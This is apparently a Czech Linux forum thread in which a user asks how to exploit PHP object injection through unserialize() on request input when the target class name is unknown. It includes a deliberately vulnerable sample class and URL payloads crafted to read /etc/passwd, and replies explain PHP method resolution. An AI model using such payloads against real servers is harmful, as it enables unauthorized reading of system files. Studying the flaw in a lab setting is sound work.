Portál AbcLinuxu, 29. října 2025 07:54
$rce = unserialize($_REQUEST['blah']); echo $rce->toString();Akorát, že já nevím jméno toho objektu, kterému mám tou deserializací změnit nějaké ty properties.. Nenapadá vás něco co by to mohlo být? Díky!
toString, to volání spadne a vypíše, jak se ta třída jmenuje
class nevim {
public $filename = 'xyz';
public function toString() {
echo file_get_contents($this->filename);
}
}
$rce = unserialize($_GET['blah']);
echo $rce->toString();
Kdybych věděl jméno té třídy, tak můžu poslat request třeba:
http://url/skript.php?blah=O:5:"nevim":1:{s:8:"filename";s:11:"/etc/passwd";}
A vypsat si tím soubor /etc/passwd, ale když neznám jméno té třídy, tak se mi zdá, že jsem bez šance cokoliv zkoušet, nebo ne?
I přesto to ale zkouším všeljak, nicméně ikdyž zkusím změnit property toString, tak mi to nepomůže - nevypíše to nic extra, dokonce to funguje jakoby se nechumelilo:
http://url/skript.php?blah=O:5:"nevim":2:{s:8:"filename";s:11:"/etc/passwd";s:8:"toString";s:6:"blabla";}
Funguje no problem na mým testovacím serveru.
Tak nevím..
$t->toString vytáhne tu hodnotu, ale $t->toString() zavolá takto pojmenovanou metodu z prototypu třídy (i když existuje takto pojmenovaná hodnota), zatímco pokud taková metoda není definována, pokusí se zavolat $t->toString->__invoke(), tj. metodu třídy té hodnoty.
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.